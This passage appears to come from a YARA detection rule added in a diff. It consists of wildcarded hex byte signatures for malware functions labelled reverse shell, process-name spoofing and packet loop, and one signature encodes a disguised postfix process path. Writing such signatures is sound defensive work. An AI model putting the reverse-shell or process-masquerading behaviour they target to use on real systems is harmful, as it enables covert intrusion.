?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 85 C0 + 74 ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 8B 40 ?? 89 C7 E8 ?? ?? ?? ?? 48 89 C2 48 8D 85 ?? + ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 0F B7 40 ?? 0F B7 C0 89 C7 E8 + ?? ?? ?? ?? 0F B7 D0 48 8D 85 ?? ?? ?? ?? 89 D6 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B + 45 ?? 0F B7 40 ?? 0F B7 D0 8B 45 ?? 89 D6 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? + 7E ?? 8B 45 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 48 8B 45 ?? + 0F B7 40 ?? 0F B7 D0 8B 45 + } + $reverse_shell_v1_p1 = { + 48 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 + ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 + C7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 48 8D 95 ?? + ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B C9 C3 + E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? + ?? ?? ?? 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 + ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? + ?? 8B 05 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? BE ?? ?? + ?? ?? 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? + ?? 48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 8B 05 + ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? EB ?? 90 EB ?? 90 EB ?? 90 B8 ?? ?? ?? ?? BA ?? ?? + ?? ?? 48 8D 9D ?? ?? ?? ?? 48 89 D1 48 89 DF FC F3 48 AB 89 F8 89 CA 89 55 ?? 89 45 + ?? 8B 05 ?? ?? ?? ?? 48 98 48 C1 E8 ?? 48 89 C2 48 8B 84 C5 ?? ?? ?? ?? 8B 0D ?? ?? + ?? ?? 83 E1 ?? BB ?? ?? ?? ?? 48 89 DE 48 D3 E6 48 89 F1 48 09 C8 48 89 84 D5 ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 C1 E8 ?? 48 89 C2 48 8B 84 C5 ?? ?? ?? ?? 8B 8D ?? + ?? ?? ?? 83 E1 ?? BB ?? ?? ?? ?? 48 89 DF 48 D3 E7 48 89 F9 48 09 C8 48 89 84 D5 ?? + ?? ?? ?? 8B 05 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7E ?? 8B 05 ?? ?? ?? ?? 83 C0 ?? EB + } + $reverse_shell_v1_p2 = { + 8B 85 ?? ?? ?? ?? 83 C0 ?? 48 8D 9D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA + ?? ?? ?? ?? 48 89 DE 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? + 48 98 48 C1 E8 ?? 48 8B 84 C5 ?? ?? ?? ?? 48 89 C2 8B 05 ?? ?? ?? ?? 83 E0 ?? 48 89 + D3 89 C1 48 D3 EB 48 89 D8 83 E0 ?? 84 C0 74 ?? 8B 05 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? + ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? + ?? 8B 55 ?? 48 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 85 + C0 0F 8E ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 98 48 C1 E8 ?? 48 8B 84 C5 ?? ?? ?? ?? 48 + 89 C2 8B 85 ?? ?? ?? ?? 83 E0 ?? 48 89 D3 89 C1 48 D3 EB 48 89 D8 83 E0 ?? 84 C0 0F + 84 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 48 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? + ?? 8B 45 ?? 48 63 D0 48 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + 89 45 ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 89 C2 48 8B 45 ?? 29 + C2 8B 45 ?? 8D 04 02 89 45 ?? 83 7D ?? ?? 7E ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 48 63 + D0 48 8B 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 83 7D ?? ?? 7F + ?? B8 ?? ?? ?? ?? 89 C2 2B 55 ?? 8B 45 ?? 48 63 C8 48 8D 85 ?? ?? ?? ?? 48 01 C8 8B + } + $reverse_shell_v1_p3 = { + 8D ?? ?? ?? ?? 48 89 C6 89 CF E8 ?? ?? ?? ?? 89 45 ?? 66 C7 85 ?? ?? FF FF ?? ?? 0F + B7 85 ?? ?? ?? ?? 66 89 85 ?? ?? FF FF 0F B6 85 ?? ?? ?? ?? 0F B6 C0 89 C2 C1 E2 ?? + 0F B6 85 ?? ?? ?? ?? 0F B6 C0 8D 04 02 66 89 85 ?? ?? FF FF 0F B6 85 ?? ?? ?? ?? 0F + B6 C0 89 C2 C1 E2 ?? 0F B6 85 ?? ?? ?? ?? 0F B6 C0 8D 04 02 66 89 85 ?? ?? FF FF 8B + 05 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8D 85 ?? ?? ?? ?? 48 + 89 D6 48 29 C6 48 89 F0 48 89 C2 8B 05 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 CE 89 + C7 E8 ?? ?? ?? ?? 89 45 ?? 48 8D 85 ?? ?? ?? ?? 89 C2 8B 45 ?? 01 C2 48 8B 45 ?? 89 + D7 29 C7 89 F8 83 E8 ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 48 63 D0 48 + 8B 45 ?? 48 8D 48 ?? 8B 05 ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? 89 45 ?? E9 ?? + ?? ?? ?? 8B 45 ?? 48 63 D0 8B 05 ?? ?? ?? ?? 48 8B 4D ?? 48 89 CE 89 C7 E8 ?? ?? ?? + ?? 48 85 C0 0F 8F ?? ?? ?? ?? EB ?? 90 EB ?? 90 EB ?? 90 EB ?? 90 8B 85 ?? ?? ?? ?? + 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 + } + $set_process_name_v1_p1 = { + 55 48 89 E5 48 83 EC ?? 89 7D ?? 48 89 75 ?? 48 89 55 ?? 48 C7 45 ?? ?? ?? ?? ?? 48 + C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8B 45 ?? 48 8B 00 48 89 05 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? EB ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 + 01 D0 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 03 45 ?? 48 83 C0 ?? 48 89 45 ?? 83 45 ?? + ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 85 C0 75 + ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 7D ?? ?? 75 ?? B8 ?? ?? ?? + ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? + 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 8D 50 ?? 48 8B 05 + ?? ?? ?? ?? 8B 4D ?? 48 63 C9 48 C1 E1 ?? 48 01 C8 48 8B 08 48 8B 45 ?? 48 89 CE 48 + 89 C7 E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 8D 14 10 + 48 8B 45 ?? 48 89 02 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 + } + $set_process_name_v1_p2 = { + 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 01 45 ?? 83 45 ?? ?? 48 8B 05 ?? ?? ?? + ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 85 C0 0F 85 ?? ?? ?? ?? 48 8B + 45 ?? 48 8B 00 48 89 45 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 48 98 48 C1 E0 ?? 48 + 03 45 ?? 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 01 45 ?? 83 45 ?? ?? 8B 45 + ?? 3B 45 ?? 7C ?? C7 45 ?? ?? ?? ?? ?? EB ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 + 48 C1 E2 ?? 48 01 D0 48 8B 00 48 89 C7 E8 ?? ?? ?? ?? 48 83 C0 ?? 48 01 45 ?? 83 45 + ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 55 ?? 48 63 D2 48 C1 E2 ?? 48 01 D0 48 8B 00 48 85 C0 + 75 ?? 48 8B 55 ?? 48 8B 05 ?? ?? ?? ?? 48 89 D1 48 29 C1 48 89 C8 48 89 C2 48 8B 05 + ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 05 ?? ?? ?? ?? + 48 89 D1 48 29 C1 48 89 C8 48 89 C2 48 8B 4D ?? 48 8B 05 ?? ?? ?? ?? 48 89 CE 48 89 + C7 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + B8 ?? ?? ?? ?? C9 C3 + } + $packet_loop_v2_p1 = { + 55 89 E5 57 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 0C 24 E8 ?? ?? ?? ?? + 66 C7 85 ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 0F B7 C0 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 + 24 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 89 C2 B8 ?? ?? + ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 + ?? 8D 85 ?? ?? ?? ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 0F B6 00 0F B6 C0 83 E0 ?? C1 E0 ?? + 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 0F B6 40 ?? 0F B6 C0 89 85 ?? ?? ?? + ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? + EB ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B 45 ?? 8D 04 02 89 45 ?? 8B 45 ?? 0F B6 40 ?? 0F + B6 C0 25 ?? ?? ?? ?? C1 F8 ?? C1 E0 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8B 45 ?? + 01 C2 8B 45 ?? 8D 04 02 89 45 ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 83 C0 + } + $packet_loop_v2_p2 = { + 89 45 ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 0F + 84 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 83 F8 ?? 75 ?? 8B 45 ?? 8B 40 ?? 89 45 ?? EB ?? 8B + 45 ?? 8B 40 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? C7 44 24 ?? ?? ?? + ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 + 85 9C FC FF FF 2F C6 85 9D FC FF FF 75 C6 85 9E FC FF FF 73 C6 85 9F FC FF FF 72 C6 + 85 A0 FC FF FF 2F C6 85 A1 FC FF FF 6C C6 85 A2 FC FF FF 69 C6 85 A3 FC FF FF 62 C6 + 85 A4 FC FF FF 65 C6 85 A5 FC FF FF 78 C6 85 A6 FC FF FF 65 C6 85 A7 FC FF FF 63 C6 + 85 A8 FC FF FF 2F C6 85 A9 FC FF FF 70 C6 85 AA FC FF FF 6F C6 85 AB FC FF FF 73 C6 + 85 AC FC FF FF 74 C6 85 AD FC FF FF 66 C6 85 AE FC FF FF 69 C6 85 AF FC FF FF 78 C6 + 85 B0 FC FF FF 2F C6 85 B1 FC FF FF 6D C6 85 B2 FC FF FF 61 C6 85 B3 FC FF FF 73 C6 + 85 B4 FC FF FF 74 C6 85 B5 FC FF FF 65 C6 85 B6 FC FF FF 72 C6 85 B7 FC FF FF ?? E8 + ?? ?? ?? ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 8B BD ?? ?? ?? ?? F2 AE 89 C8 F7 D0 8D 50 ?? A1 ?? + ?? ?? ?? 89 C7 FC 89 D1 B8 ?? ?? ?? ?? F3 AA 8B 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 + } + $packet_loop_v2_p3 = { + 44 24 ?? 89 14 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? FC + 8B BD ?? ?? ?? ?? F2 AE 89 C8 F7 D0 83 E8 ?? 89 C2 8B 45 ?? 83 C0 ?? C7 44 24 ?? ?? + ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 8B BD ?? ?? ?? ?? F2 AE 89 C8 F7 D0 83 E8 ?? 89 C2 8B + 45 ?? 83 C0 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? + 83 C0 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? + ?? ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 89 04 24 E8 + ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 0F B7 40 + ?? 0F B7 C0 89 04 24 E8 ?? ?? ?? ?? 0F B7 C0 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 + E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 83 F8 ?? 74 ?? 8B 45 ?? 8B 40 ?? 85 + C0 74 ?? 8B 45 ?? 8B 40 ?? 89 45 ?? 8B 45 ?? C7 40 ?? ?? ?? ?? ?? 8B 45 ?? C7 00 ?? + ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 0F B7 + 40 ?? 0F B7 C0 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 7E + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 + } + $reverse_shell_v2_p1 = { + 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? + ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? + E8 ?? ?? ?? ?? 85 C0 75 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B + 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 + 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? B8 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F + 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? + ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? + 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? + ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? + ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 + } + $reverse_shell_v2_p2 = { + E8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? FC F3 AB 89 4D + ?? 89 7D ?? A1 ?? ?? ?? ?? 89 C2 C1 EA ?? A1 ?? ?? ?? ?? 83 E0 ?? 0F AB 84 95 ?? ?? + ?? ?? 8B 45 ?? 89 C2 C1 EA ?? 8B 45 ?? 83 E0 ?? 0F AB 84 95 ?? ?? ?? ?? A1 ?? ?? ?? + ?? 3B 45 ?? 7E ?? A1 ?? ?? ?? ?? 83 C0 ?? 89 85 ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? + 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 8D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 85 C0 + 0F 88 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 C2 83 E2 ?? A1 ?? ?? ?? ?? C1 E8 ?? 0F A3 94 85 + ?? ?? ?? ?? 0F 92 C0 84 C0 74 ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 95 ?? ?? + ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B + 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 85 + C0 0F 8E ?? ?? ?? ?? 8B 45 ?? 89 C2 83 E2 ?? 8B 45 ?? C1 E8 ?? 0F A3 94 85 ?? ?? ?? + ?? 0F 92 C0 84 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C7 44 24 ?? ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? + ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8D 85 ?? ?? + ?? ?? 29 C2 8B 45 ?? 29 D0 89 45 ?? 83 7D ?? ?? 7E ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? + 8D 85 ?? ?? ?? ?? 8B 55 ?? 89 C7 89 D6 FC F3 A4 83 7D ?? ?? 7F ?? B8 ?? ?? ?? ?? 89 + } + $reverse_shell_v2_p3 = { + C1 2B 4D ?? 8B 45 ?? 89 C2 8D 85 ?? ?? ?? ?? 01 D0 89 4C 24 ?? 89 44 24 ?? 8B 45 ?? + 89 04 24 E8 ?? ?? ?? ?? 89 45 ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 + 89 85 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 66 0F B6 C0 89 C2 C1 E2 ?? 0F B6 85 ?? ?? ?? + ?? 66 0F B6 C0 8D 04 02 66 89 85 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 66 0F B6 C0 89 C2 + C1 E2 ?? 0F B6 85 ?? ?? ?? ?? 66 0F B6 C0 8D 04 02 66 89 85 ?? ?? ?? ?? 8B 15 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 85 ?? ?? ?? + ?? 89 D1 29 C1 89 C8 8B 15 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 89 + 14 24 E8 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 C2 03 55 ?? 8B 45 ?? 83 C0 ?? 89 + D1 29 C1 89 C8 89 45 ?? 83 7D ?? ?? 0F 8E ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 83 C2 ?? 8B + 0D ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 0C 24 E8 ?? ?? ?? ?? 89 45 ?? E9 ?? ?? ?? + ?? 8B 45 ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 89 14 24 E8 ?? ?? ?? + ?? 85 C0 7E ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 + 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 04 24 + E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 81 C4 ?? ?? ?? ?? 5E 5F 5D C3 + } + $set_process_name_v2_p1 = { + 55 89 E5 57 56 53 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8B 45 ?? 8B 00 A3 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? C1 E0 ?? 89 + C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? + F2 AE 89 C8 F7 D0 83 E8 ?? 03 45 ?? 83 C0 ?? 89 45 ?? 83 45 ?? ?? 8B 45 ?? C1 E0 ?? + 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 85 C0 75 ?? 8B 45 ?? 89 04 24 E8 ?? ?? ?? ?? 89 + 45 ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 + ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 + 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 8D 48 ?? 8B 45 ?? C1 E0 + ?? 89 C2 A1 ?? ?? ?? ?? 8D 04 02 8B 10 8B 45 ?? 89 C7 89 D6 FC F3 A4 8B 45 ?? C1 E0 + ?? 89 C2 A1 ?? ?? ?? ?? 01 C2 8B 45 ?? 89 02 8B 5D ?? 83 C3 ?? 8B 45 ?? C1 E0 ?? 89 + C2 A1 ?? ?? ?? ?? 8D 04 02 8B 00 B9 ?? ?? ?? ?? 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D + } + $set_process_name_v2_p2 = { + F2 AE 89 C8 F7 D0 83 E8 ?? 8D 04 03 89 45 ?? 83 45 ?? ?? 8B 45 ?? C1 E0 ?? 89 C2 A1 + ?? ?? ?? ?? 8D 04 02 8B 00 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B 00 89 45 ?? C7 45 ?? + ?? ?? ?? ?? EB ?? 8B 55 ?? 83 C2 ?? 8B 45 ?? C1 E0 ?? 03 45 ?? 8B 00 B9 ?? ?? ?? ?? + 89 45 ?? B8 ?? ?? ?? ?? FC 8B 7D ?? F2 AE 89 C8 F7 D0 83 E8 ?? 8D 04 02 89 45 ?? 83 + 45 ?? ?? 